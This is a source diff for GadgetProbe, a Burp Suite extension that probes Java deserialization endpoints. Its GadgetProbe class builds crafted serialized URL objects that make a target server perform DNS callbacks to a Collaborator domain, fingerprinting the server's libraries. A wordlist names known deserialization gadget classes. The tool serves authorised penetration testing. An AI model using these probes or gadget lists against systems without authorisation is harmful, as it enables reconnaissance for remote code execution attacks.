GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + PollingOption = new JPanel(); + PollingOption.setLayout(new GridLayoutManager(1, 4, new Insets(0, 0, 0, 0), -1, -1)); + optionsPanel.add(PollingOption, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, true)); + final JLabel label3 = new JLabel(); + label3.setText("Poll every"); + PollingOption.add(label3, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + final JLabel label4 = new JLabel(); + label4.setText("Seconds"); + PollingOption.add(label4, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + pollingIntervalSeconds = new JFormattedTextField(); + pollingIntervalSeconds.setText("30"); + PollingOption.add(pollingIntervalSeconds, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(32, -1), null, null, 0, false)); + pollNow = new JButton(); + pollNow.setActionCommand("pollNow"); + pollNow.setText("Poll Now"); + PollingOption.add(pollNow, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final Spacer spacer1 = new Spacer(); + optionsPanel.add(spacer1, new GridConstraints(7, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_VERTICAL, 1, GridConstraints.SIZEPOLICY_WANT_GROW, null, null, new Dimension(-1, 20), 0, false)); + clearConsole = new JButton(); + clearConsole.setActionCommand("clearConsole"); + clearConsole.setText("Clear Console"); + clearConsole.setToolTipText("Clear console to the right"); + optionsPanel.add(clearConsole, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + refreshDNS = new JButton(); + refreshDNS.setActionCommand("refreshDNS"); + refreshDNS.setText("Refresh DNS Endpoint"); + refreshDNS.setToolTipText("Keep all data, but refresh interaction endpoint for all future generated payloads"); + optionsPanel.add(refreshDNS, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + } + + /** + * @noinspection ALL + */ + private Font $$$getFont$$$(String fontName, int style, int size, Font currentFont) { + if (currentFont == null) return null; + String resultName; + if (fontName == null) { + resultName = currentFont.getName(); + } else { + Font testFont = new Font(fontName, Font.PLAIN, 10); + if (testFont.canDisplay('a') && testFont.canDisplay('1')) { + resultName = fontName; + } else { + resultName = currentFont.getName(); + } + } + return new Font(resultName, style >= 0 ? style : currentFont.getStyle(), size >= 0 ? size : currentFont.getSize()); + } + + /** + * @noinspection ALL + */ + public JComponent $$$getRootComponent$$$() { + return mainPanel; + } + + private class JListRenderer extends DefaultListCellRenderer { + private final Color CELL_COLOR_1 = Color.decode("#F2F2F2"); + private final Color CELL_COLOR_2 = Color.decode("#FBFBFB"); + private final Color CELL_COLOR_SELECTED = Color.decode("#FFCD81"); + + public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { + Component c = super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); + setText(value.toString()); + + if (index % 2 == 0) { + c.setBackground(CELL_COLOR_1); + } else { + c.setBackground(CELL_COLOR_2); + } + + if (isSelected) { + c.setBackground(CELL_COLOR_SELECTED); + } + return this; + } + + } + + public Set getClassesFound() { + return classesFound; + } + + public Set getClassesNotFound() { + return classesNotFound.keySet(); + } + + public void reset() { + classesFound.clear(); + classesNotFound.clear(); + classesFoundList.setListData(new Object[]{}); + classesNotFoundList.setListData(new Object[]{}); + consoleOutput.setText(""); + } + + private class PollingListener implements KeyListener { + private ActionListener actionListener; + private BurpGui burpGui; + + public PollingListener(ActionListener actionListener, BurpGui burpGui) { + this.actionListener = actionListener; + this.burpGui = burpGui; + } + + public void keyPressed(KeyEvent keyEvent) { + } + + public void keyReleased(KeyEvent keyEvent) { + actionListener.actionPerformed(new ActionEvent(keyEvent.getSource(), keyEvent.getID(), "KEY_TYPED," + burpGui.getPollingInterval())); + } + + public void keyTyped(KeyEvent keyEvent) { + } + } + + public String getPollingInterval() { + return pollingIntervalSeconds.getText(); + } + + private class CopyListData extends AbstractAction { + private JList focusOwner = null; + + public CopyListData(JList focusOwner) { + super("CopyTest"); + this.focusOwner = focusOwner; + } + + @Override + public void actionPerformed(ActionEvent e) { + Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard(); + String s = String.join("\n", focusOwner.getSelectedValuesList()); + cb.setContents(new StringSelection(s), null); + } + } + + // Input Classes + public void setupListeners(ActionListener actionListener) { + pollNow.addActionListener(actionListener); + pollingIntervalSeconds.addKeyListener(new PollingListener(actionListener, this)); + clearConsole.addActionListener(actionListener); + enablePollingCheckBox.addActionListener(actionListener); + detectLibraryVersionsButton.addActionListener(actionListener); + clearHistoryAndResetButton.addActionListener(actionListener); + refreshDNS.addActionListener(actionListener); + cellRenderer = new JListRenderer(); + + // Setup Ctrl-C support + classesFoundList.getActionMap().put("CopyTest", new CopyListData(classesFoundList)); + classesFoundList.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).put(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_MASK), "CopyTest"); + + classesNotFoundList.getActionMap().put("CopyTest", new CopyListData(classesNotFoundList)); + classesNotFoundList.getInputMap(JComponent.WHEN_IN_FOCUSED_WINDOW).put(KeyStroke.getKeyStroke(KeyEvent.VK_C, InputEvent.CTRL_MASK), "CopyTest"); + + classesFoundList.setFocusable(true); + classesNotFoundList.setFocusable(true); + + classesFoundList.setCellRenderer(cellRenderer); + classesNotFoundList.setCellRenderer(cellRenderer); + } + + @SuppressWarnings("unchecked") + private synchronized void refreshClassLists() { + SwingUtilities.invokeLater(new Runnable() { + + @Override + public void run() { + int[] selFound = classesFoundList.getSelectedIndices(); + int[] selNotFound = classesNotFoundList.getSelectedIndices(); + + classesFoundList.setListData(classesFound.toArray()); + classesNotFoundList.setListData(classesNotFound.keySet().toArray()); + + classesFoundList.setFocusable(true); + classesNotFoundList.setFocusable(true); + + classesFoundList.setCellRenderer(cellRenderer); + classesNotFoundList.setCellRenderer(cellRenderer); + + classesFoundList.setSelectedIndices(selFound); + classesNotFoundList.setSelectedIndices(selNotFound); + } + + }); + + } + + public int getClassesFoundLength() { + return classesFound.size(); + } + + public synchronized void addClassFound(String classFound) { + String cls = classesNotFound.remove(classFound + .replaceAll("d-0-ll", "\\$") + .replaceAll("d-4-sh", "_") + ); + if (cls != null) { + classesFound.add(cls); + classesNotFound.remove(classFound); + refreshClassLists(); + } + } + + public synchronized void addClassNotFound(String classNotFound) { + if (!classesFound.contains(classNotFound)) { + classesNotFound.put(classNotFound, classNotFound); + refreshClassLists(); + } + } + + public void clearConsole() { + consoleOutput.setText(""); + } + + public void consolePrintln(String text) { + consoleOutput.append(text + "\n"); + } + + public boolean isPollingEnabled() { + return enablePollingCheckBox.isSelected(); + } +} diff --git a/src/main/java/burp/InteractionServer.java b/src/main/java/burp/InteractionServer.java new file mode 100644 index 0000000..920870e --- /dev/null +++ b/src/main/java/burp/InteractionServer.java @@ -0,0 +1,193 @@ +package burp; + +import com.bishopfox.gadgetprobe.GadgetProbe; + +import java.awt.*; +import java.io.PrintWriter; +import java.io.StringWriter; +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.List; + +public class InteractionServer extends Thread { + + private IBurpExtenderCallbacks callbacks; + private IBurpCollaboratorClientContext collaboratorContext; + + private PrintWriter stdout; + private PrintWriter stderr; + + private final Object pauseLock = new Object(); + private volatile boolean paused = false; + private volatile boolean goOn; + + private int pollingMilliseconds = 30000; + private Date lastPollingDate; + + private static GadgetProbe gadgetProbe; + private BurpGui guiManager; + + public static GadgetProbe getGadgetProbe() { + return gadgetProbe; + } + + public InteractionServer(IBurpExtenderCallbacks callbacks, IBurpCollaboratorClientContext initialCollaboratorContext, BurpGui guiManager) { + + this.callbacks = callbacks; + this.guiManager = guiManager; + + // Initialize stdout and stderr + this.stdout = new PrintWriter(callbacks.getStdout(), true); + this.stderr = new PrintWriter(callbacks.getStderr(), true); + + + if(initialCollaboratorContext != null) { + this.gadgetProbe = new GadgetProbe(initialCollaboratorContext.generatePayload(true)); + collaboratorContext = initialCollaboratorContext; + } else { + stdout.println("Collaborator disabled"); + } + + this.goOn = true; + + } + + public void setPollingMilliseconds(int pollingMilliseconds) { + this.pollingMilliseconds = pollingMilliseconds; + } + + public void setGoOn(boolean goOn) { + this.goOn = goOn; + } + + public void pause() { + paused = true; + stdout.println("Stopping Collaborator interactions polling"); + } + + public void resumeThread() { + synchronized (pauseLock) { + paused = false; + pauseLock.notifyAll(); // Unblocks thread + } + stdout.println("Restarting Collaborator interactions polling"); + } + + public void setCollaboratorContext(IBurpCollaboratorClientContext collaboratorContext) { + this.gadgetProbe = new GadgetProbe(collaboratorContext.getCollaboratorServerLocation()); + } + + public void run() { + + stdout.println("Thread started"); + + DateFormat dateFormat = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss"); + lastPollingDate = null; + + while(goOn) { + + synchronized (pauseLock) { + + // Maybe is changed while waiting for pauseLock + if(!goOn) { + break; + } + + if (paused) { + try { + pauseLock.wait(); + } catch (InterruptedException e) { + stderr.println("Exception with wait/notify"); + stderr.println(e.toString()); + } + // Maybe is changed while waiting for pauseLock + if(!goOn) { + break; + } + } + + } + + Date date = new Date(); + if(lastPollingDate == null || (date.getTime() - lastPollingDate.getTime()) > pollingMilliseconds) { + stdout.println("**** " + dateFormat.format(date) + " ****"); + try { + stdout.println("Polling " + collaboratorContext.getCollaboratorServerLocation()); + stdout.println("Classes found: " + guiManager.getClassesFoundLength()); + } catch(IllegalStateException e) { + stdout.println("Can't fetch interactions while Collaborator is disabled (Burp Suite limitation)"); + } catch(Exception f) { + stdout.println("Exception"); + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(sw); + f.printStackTrace(pw); + stdout.println(sw.toString()); + } + stdout.println(); + lastPollingDate = date; + } + + try { + + List allCollaboratorInteractions = collaboratorContext.fetchAllCollaboratorInteractions(); + + for(int j=0; j < allCollaboratorInteractions.size(); j++) { + + // HACKY DNS parsing :) + IBurpCollaboratorInteraction interaction = allCollaboratorInteractions.get(j); + if(interaction.getProperty("type").equals("DNS") && interaction.getProperty("query_type").startsWith("A")) { + byte[] bytes = Base64.getDecoder().decode(interaction.getProperty("raw_query")); + StringBuilder sb = new StringBuilder(); + + int i = 12; + do { + int chunk_len = (int)bytes[i++]; + if (i + chunk_len < bytes.length) { + String chunk = new String(Arrays.copyOfRange(bytes, i, i + chunk_len)); + if (chunk.equals(interaction.getProperty("interaction_id"))) { + if (sb.length() > 1) { + sb.deleteCharAt(sb.length() - 1); + } + break; + } + sb.append(chunk); + sb.append("."); + i += chunk_len; + } + } while ( i < bytes.length); + + guiManager.addClassFound(sb.toString()); + } + + } + + } catch(IllegalStateException e) { + stdout.println("Can't fetch interactions while Collaborator is disabled (Burp Suite limitation)"); + } catch(Exception f) { + stdout.println("Exception"); + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(sw); + f.printStackTrace(pw); + stdout.println(sw.toString()); + } + + try { + Thread.sleep(pollingMilliseconds); + } catch (InterruptedException e) { + stdout.println("InteractionServer: Thread interrupted."); + } + + } + + } + + public void pollNow() { + lastPollingDate = null; + } + + public void reset() { + collaboratorContext = callbacks.createBurpCollaboratorClientContext(); + this.gadgetProbe = new GadgetProbe(collaboratorContext.generatePayload(true)); + } +} \ No newline at end of file diff --git a/src/main/java/burp/Signatures/Bsh.java b/src/main/java/burp/Signatures/Bsh.java new file mode 100644 index 0000000..a4b8d5e --- /dev/null +++ b/src/main/java/burp/Signatures/Bsh.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class Bsh extends Signature { + + public Bsh(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // bsh 2.0b5 Class (greater than) + "bsh.CollectionManager$BasicBshIterator$1", + // bsh 2.0b4 Class (equals) + "bsh.BSHBlock$NodeFilter", + // bsh class that appears in multiple versions (less than) + "bsh.BlockNameSpace" + }; + } + + @Override + public String getName() { + return "bsh"; + } + + @Override + public String getVersion() { + return "2.0b4"; + } +} diff --git a/src/main/java/burp/Signatures/C3p0.java b/src/main/java/burp/Signatures/C3p0.java new file mode 100644 index 0000000..7837776 --- /dev/null +++ b/src/main/java/burp/Signatures/C3p0.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class C3p0 extends Signature { + + public C3p0(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // c3p0 0.9.5.3 Class (greater than) + "", + // c3p0 0.9.5.2 Class (equals) + "", + // c3p0 class that appears in multiple versions (less than) + "com.mchange.Debug" + }; + } + + @Override + public String getName() { + return "c3p0"; + } + + @Override + public String getVersion() { + return "0.9.5.2"; + } +} diff --git a/src/main/java/burp/Signatures/Clojure.java b/src/main/java/burp/Signatures/Clojure.java new file mode 100644 index 0000000..8fb6f30 --- /dev/null +++ b/src/main/java/burp/Signatures/Clojure.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class Clojure extends Signature { + + public Clojure(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // clojure 1.9.0 Class (greater than) + "clojure.lang.EdnReader$NamespaceMapReader", + // clojure 1.8.0 Class (equals) + "clojure.core$aclone__inliner__5063", + // clojure class that appears in multiple versions (less than) + "clojure.asm.AnnotationVisitor" + }; + } + + @Override + public String getName() { + return "clojure"; + } + + @Override + public String getVersion() { + return "1.8.0"; + } +} diff --git a/src/main/java/burp/Signatures/CommonsCollections3.java b/src/main/java/burp/Signatures/CommonsCollections3.java new file mode 100644 index 0000000..9f3ac69 --- /dev/null +++ b/src/main/java/burp/Signatures/CommonsCollections3.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class CommonsCollections3 extends Signature { + + public CommonsCollections3(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // Apache Commons 3.2 Class (greater than) + "org.apache.commons.collections.iterators.ReverseListIterator", + // Apache Commons 3.1 Class (equals) + "org.apache.commons.collections.functors.TransformedPredicate", + // Apache Commons class that appears in most versions (less than) + "org.apache.commons.collections.ArrayStack" + }; + } + + @Override + public String getName() { + return "Apache common-collections"; + } + + @Override + public String getVersion() { + return "3.1"; + } +} diff --git a/src/main/java/burp/Signatures/CommonsCollections4.java b/src/main/java/burp/Signatures/CommonsCollections4.java new file mode 100644 index 0000000..36537ea --- /dev/null +++ b/src/main/java/burp/Signatures/CommonsCollections4.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class CommonsCollections4 extends Signature { + + public CommonsCollections4(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // Apache Commons 4.1 Class (greater than) + "org.apache.commons.collections4.iterators.BoundedIterator", + // Apache Commons 4.0 Class (equals) + "org.apache.commons.collections4.iterators.PeekingIterator", + // Apache Commons class that appears in most versions (less than) + "org.apache.commons.collections4.iterators.ArrayIterator" + }; + } + + @Override + public String getName() { + return "Apache common-collections4"; + } + + @Override + public String getVersion() { + return "4.0"; + } +} diff --git a/src/main/java/burp/Signatures/CommonsIO2.java b/src/main/java/burp/Signatures/CommonsIO2.java new file mode 100644 index 0000000..aa10f6e --- /dev/null +++ b/src/main/java/burp/Signatures/CommonsIO2.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class CommonsIO2 extends Signature { + + public CommonsIO2(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // Apache Commons-IO 2.5 Class (greater than) + "org.apache.commons.io.input.BoundedReader", + // Apache Commons-IO 2.4 Class (greater than) + "org.apache.commons.io.input.BOMInputStream$1", + // Apache Commons class that appears in most versions (less than) + "org.apache.commons.io.Charsets" + }; + } + + @Override + public String getName() { + return "Apache commons-io"; + } + + @Override + public String getVersion() { + return "2.4"; + } +} diff --git a/src/main/java/burp/Signatures/Groovy239.java b/src/main/java/burp/Signatures/Groovy239.java new file mode 100644 index 0000000..9ddb994 --- /dev/null +++ b/src/main/java/burp/Signatures/Groovy239.java @@ -0,0 +1,30 @@ +package burp.Signatures; + +import java.util.Set; + +public class Groovy239 extends Signature { + + public Groovy239 (Set found, Set notFound) { + + super(found, notFound); + SIGNATURES = new String[] { + // groovy-all 2.3.10 Class (greater than) + "groovy.grape.GrapeIvy$_enumerateGrapes_closure11_closure22", + // groovy-all 2.3.9 Class (equals) + "org.codehaus.groovy.classgen.asm.indy.IndyBinHelper", + // groovy-all class that appears in multiple versions (less than) + "groovy.beans.BindableASTTransformation" + }; + + } + + @Override + public String getName() { + return "groovy-all"; + } + + @Override + public String getVersion() { + return "2.3.9"; + } +} diff --git a/src/main/java/burp/Signatures/HibernateCore.java b/src/main/java/burp/Signatures/HibernateCore.java new file mode 100644 index 0000000..a4fe40a --- /dev/null +++ b/src/main/java/burp/Signatures/HibernateCore.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class HibernateCore extends Signature { + + public HibernateCore(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // hibernate-core 5.1.17.Final Class (greater than) + "org.hibernate.annotations.LazyGroup", + // hibernate-core 5.0.7.Final Class (equals) + "org.hibernate.boot.archive.spi.JarFileEntryUrlAdjuster", + // hibernate-core class that appears in multiple versions (less than) + "org.hibernate.action.internal.AbstractEntityInsertAction" + }; + } + + @Override + public String getName() { + return "hibernate-core"; + } + + @Override + public String getVersion() { + return "5.0.7.Final"; + } +} diff --git a/src/main/java/burp/Signatures/Javassist.java b/src/main/java/burp/Signatures/Javassist.java new file mode 100644 index 0000000..426b0e2 --- /dev/null +++ b/src/main/java/burp/Signatures/Javassist.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class Javassist extends Signature { + + public Javassist(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // javassist 3.26.0-GA Class (greater than) + "javassist.ByteArrayClassPath$1", + // javassist 3.20.0-GA Class (equals) + "javassist.bytecode.annotation.TypeAnnotationsWriter", + // javassist class that appears in multiple versions (less than) + "javassist.ByteArrayClassPath" + }; + } + + @Override + public String getName() { + return "javassist"; + } + + @Override + public String getVersion() { + return "3.20.0-GA"; + } +} diff --git a/src/main/java/burp/Signatures/Signature.java b/src/main/java/burp/Signatures/Signature.java new file mode 100644 index 0000000..764e7a8 --- /dev/null +++ b/src/main/java/burp/Signatures/Signature.java @@ -0,0 +1,72 @@ +package burp.Signatures; + +import java.util.Set; + +public abstract class Signature { + protected Set found; + protected Set notFound; + protected String[] SIGNATURES; + + public abstract String getName(); + public abstract String getVersion(); + + public Signature(Set found, Set notFound) { + this.found = found; + this.notFound = notFound; + } + + public boolean greaterThan() { + return found.contains(SIGNATURES[0]); + } + + public boolean lessThan() { + return notFound.contains(SIGNATURES[1]); + } + + public boolean equals() { + return !greaterThan() && !lessThan() + && notFound.contains(SIGNATURES[0]) + && found.contains(SIGNATURES[1]); + } + + public boolean missing() { + return notFound.contains(SIGNATURES[2]); + } + + public String[] getSignatures() { + return SIGNATURES; + } + + public String getResult() { + StringBuilder sb = new StringBuilder(); + if (missing()) { + sb.append(getName()); + sb.append(": Not found\n"); + return sb.toString(); + } + + if (greaterThan()) { + sb.append(getName()); + sb.append(": detected version > "); + sb.append(getVersion()); + sb.append("\n"); + } + if (lessThan()) { + sb.append(getName()); + sb.append(": detected version < "); + sb.append(getVersion()); + sb.append("\n"); + } + if (equals()) { + sb.append(getName()); + sb.append(": detected version == "); + sb.append(getVersion()); + sb.append("\n"); + } + if (!lessThan() && !greaterThan() && !equals() && !missing()) { + sb.append(getName()); + sb.append(": Missing signature queries. Try running the bundled wordlists.\n"); + } + return sb.toString(); + } +} diff --git a/src/main/java/burp/Signatures/SpringCore.java b/src/main/java/burp/Signatures/SpringCore.java new file mode 100644 index 0000000..69861f8 --- /dev/null +++ b/src/main/java/burp/Signatures/SpringCore.java @@ -0,0 +1,28 @@ +package burp.Signatures; + +import java.util.Set; + +public class SpringCore extends Signature { + + public SpringCore(Set found, Set notFound) { + super(found, notFound); + SIGNATURES = new String[] { + // spring-core 4.3.25.RELEASE Class (greater than) + "org.springframework.asm.CurrentFrame", + // spring-core 4.1.4.RELEASE Class (equals) + "org.springframework.asm.TypePath", + // spring-core class that appears in multiple versions (less than) + "org.springframework.asm.AnnotationVisitor" + }; + } + + @Override + public String getName() { + return "spring-core"; + } + + @Override + public String getVersion() { + return "4.1.4.RELEASE"; + } +} diff --git a/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java b/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java new file mode 100644 index 0000000..e9f02d1 --- /dev/null +++ b/src/main/java/com/bishopfox/gadgetprobe/GadgetProbe.java @@ -0,0 +1,89 @@ +package com.bishopfox.gadgetprobe; + +import burp.Analyzer; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; + +import java.io.*; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.net.*; +import java.util.*; + +import static com.nqzero.permit.Permit.setAccessible; + +public class GadgetProbe { + + private String callbackDomain; + private ClassPool pool; + + public GadgetProbe(String callback_domain) { + this.callbackDomain = callback_domain; + this.pool = new ClassPool(true); + } + + private class SilentURLStreamHandler extends URLStreamHandler { + + protected URLConnection openConnection(URL u) throws IOException { + return null; + } + + protected synchronized InetAddress getHostAddress(URL u) { + return null; + } + } + + private Class getOrGenerateClass(String className) { + Class clazz = null; + try { + clazz = Class.forName(className); + } catch (ClassNotFoundException e) { + CtClass cc = pool.makeClass(className); + + try { + clazz = cc.toClass(); + return clazz; + } catch (CannotCompileException err) { + if (err.getCause() != null && err.getCause().getCause() instanceof SecurityException) { + System.err.println("Error: Classname is in protected package. Most likely a typo: " + className); + } else { + err.printStackTrace(); + } + } + } + return clazz; + } + + @SuppressWarnings("unchecked") + public Object getObject(final String clsname) { + URLStreamHandler handler = new SilentURLStreamHandler(); + + LinkedHashMap hm = new LinkedHashMap(); + URL u = null; + + try { + u = new URL(null, "http://" + clsname.replaceAll("_","d-4-sh").replaceAll("\\$","d-0-ll") + "." + callbackDomain, handler); + } catch (MalformedURLException e) { + e.printStackTrace(); + } + Class clazz = getOrGenerateClass(clsname); + if (clazz == null) { + return null; + } + hm.put("test", clazz); + hm.put(u, "test"); + try { + Field field = URL.class.getDeclaredField("hashCode"); + setAccessible(field); + + field.set(u, -1); + } catch (NoSuchFieldException | IllegalAccessException e) { + e.printStackTrace(); + } + return hm; + } + public static void main(String[] args) { + System.out.println(Analyzer.getWordlist()); + } +} diff --git a/wordlists/FasterXML_blacklist.list b/wordlists/FasterXML_blacklist.list new file mode 100644 index 0000000..3499b63 --- /dev/null +++ b/wordlists/FasterXML_blacklist.list @@ -0,0 +1,49 @@ +org.apache.commons.collections.functors.InvokerTransformer +org.apache.commons.collections.functors.InstantiateTransformer +org.apache.commons.collections4.functors.InvokerTransformer +org.apache.commons.collections4.functors.InstantiateTransformer +org.codehaus.groovy.runtime.ConvertedClosure +org.codehaus.groovy.runtime.MethodClosure +org.springframework.beans.factory.ObjectFactory +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl +org.apache.xalan.xsltc.trax.TemplatesImpl +com.sun.rowset.JdbcRowSetImpl +java.util.logging.FileHandler +java.rmi.server.UnicastRemoteObject +org.springframework.beans.factory.config.PropertyPathFactoryBean +org.apache.tomcat.dbcp.dbcp2.BasicDataSource +com.sun.org.apache.bcel.internal.util.ClassLoader +org.hibernate.jmx.StatisticsService +org.apache.ibatis.datasource.jndi.JndiDataSourceFactory +org.apache.ibatis.parsing.XPathParser +jodd.db.connection.DataSourceConnectionProvider +oracle.jdbc.connector.OracleManagedConnectionFactory +oracle.jdbc.rowset.OracleJDBCRowSet +org.slf4j.ext.EventData +flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor +com.sun.deploy.security.ruleset.DRSHelper +org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl +org.jboss.util.propertyeditor.DocumentEditor +org.apache.openjpa.ee.RegistryManagedRuntime +org.apache.openjpa.ee.JNDIManagedRuntime +org.apache.axis2.transport.jms.JMSOutTransportInfo +com.mysql.cj.jdbc.admin.MiniAdmin +ch.qos.logback.core.db.DriverManagerConnectionSource +org.jdom.transform.XSLTransformer +org.jdom2.transform.XSLTransformer +net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup +net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup +ch.qos.logback.core.db.JNDIConnectionSource +com.zaxxer.hikari.HikariConfig +com.zaxxer.hikari.HikariDataSource +org.apache.cxf.jaxrs.provider.XSLTJaxbProvider +org.apache.commons.configuration.JNDIConfiguration +org.apache.commons.configuration2.JNDIConfiguration +org.apache.xalan.lib.sql.JNDIConnectionPool +org.apache.commons.dbcp.datasources.PerUserPoolDataSource +org.apache.commons.dbcp.datasources.SharedPoolDataSource +com.p6spy.engine.spy.P6DataSource +org.apache.log4j.receivers.db.DriverManagerConnectionSource +org.apache.log4j.receivers.db.JNDIConnectionSource +net.sf.ehcache.transaction.manager.selector.GenericJndiSelector +net.sf.ehcache.transaction.manager.selector.GlassfishSelector diff --git a/wordlists/gadgetprobe_analyzer_classes.list b/wordlists/gadgetprobe_analyzer_classes.list new file mode 100644 index 0000000..928635e --- /dev/null +++ b/wordlists/gadgetprobe_analyzer_classes.list @@ -0,0 +1,28 @@ +bsh.CollectionManager$BasicBshIterator$1 +bsh.BSHBlock$NodeFilter +bsh.BlockNameSpace +com.mchange.Debug +clojure.lang.EdnReader$NamespaceMapReader +clojure.core$aclone__inliner__5063 +clojure.asm.AnnotationVisitor +org.apache.commons.collections4.iterators.BoundedIterator +org.apache.commons.collections4.iterators.PeekingIterator +org.apache.commons.collections4.iterators.ArrayIterator +org.apache.commons.collections.iterators.ReverseListIterator +org.apache.commons.collections.functors.TransformedPredicate +org.apache.commons.collections.ArrayStack +org.apache.commons.io.input.BoundedReader +org.apache.commons.io.input.BOMInputStream$1 +org.apache.commons.io.Charsets +groovy.grape.GrapeIvy$_enumerateGrapes_closure11_closure22 +org.codehaus.groovy.classgen.asm.indy.IndyBinHelper +groovy.beans.BindableASTTransformation +org.hibernate.annotations.LazyGroup +org.hibernate.boot.archive.spi.JarFileEntryUrlAdjuster +org.hibernate.action.internal.AbstractEntityInsertAction +javassist.ByteArrayClassPath$1 +javassist.bytecode.annotation.TypeAnnotationsWriter +javassist.ByteArrayClassPath +org.springframework.asm.CurrentFrame +org.springframework.asm.TypePath +org.springframework.asm.AnnotationVisitor diff --git a/wordlists/maven_popular.list b/wordlists/maven_popular.list new file mode 100644 index 0000000..f2ea703 --- /dev/null +++ b/wordlists/maven_popular.list @@ -0,0 +1,77 @@ +android.support.annotation.AnimRes +ch.qos.logback.core.Appender +ch.qos.logbackic.AsyncAppender +clojure.asm.CurrentFrame +clojure.tools.nrepl.main +com.fasterxml.jackson.annotation.JacksonAnnotation +com.fasterxml.jackson.core.Base64Variant +com.fasterxml.jackson.databind.AbstractTypeResolver +com.google.common.annotations.Beta +com.google.gson.JsonDeserializer +com.google.inject.AbstractModule +com.mysql.cj.AbstractPreparedQuery +junit.textui.TestRunner +kotlin.jvm.internal.TypeIntrinsics +lombok.AccessLevel +okhttp3.Dispatcher +org.apache.commons.beanutils.FluentPropertyBeanIntrospector +org.apache.commons.cli2.Argument +org.apache.commons.codec.binary.Base32 +org.apache.commons.collections.ArrayStack +org.apache.commons.io.comparator.DirectoryFileComparator +org.apache.commons.lang3.SerializationException +org.apache.commons.lang.ArrayUtils +org.apache.commons.logging.impl.AvalonLogger +org.apache.commons.logging.impl.NoOpLog +org.apache.http.client.utils.URIBuilder +org.apache.http.Consts +org.apache.log4j.Appender +org.apache.log4j.MDCFriend +org.apache.logging.log4j.core.appender.AppenderLoggingException +org.apache.logging.log4j.internal.DefaultLogBuilder +org.apache.logging.slf4j.Log4jMDCAdapter +org.apache.logging.slf4j.SLF4JLoggerContextFactory +org.apache.maven.AbstractMavenLifecycleParticipant +org.apache.maven.monitor.logging.DefaultLog +org.apache.maven.plugins.annotations.InstantiationStrategy +org.assertj.core.annotations.Beta +org.codehaus.jackson.map.AbstractTypeResolver +org.codehaus.plexus.util.LineOrientedInterpolatingReader +org.easymock.EasyMockRule 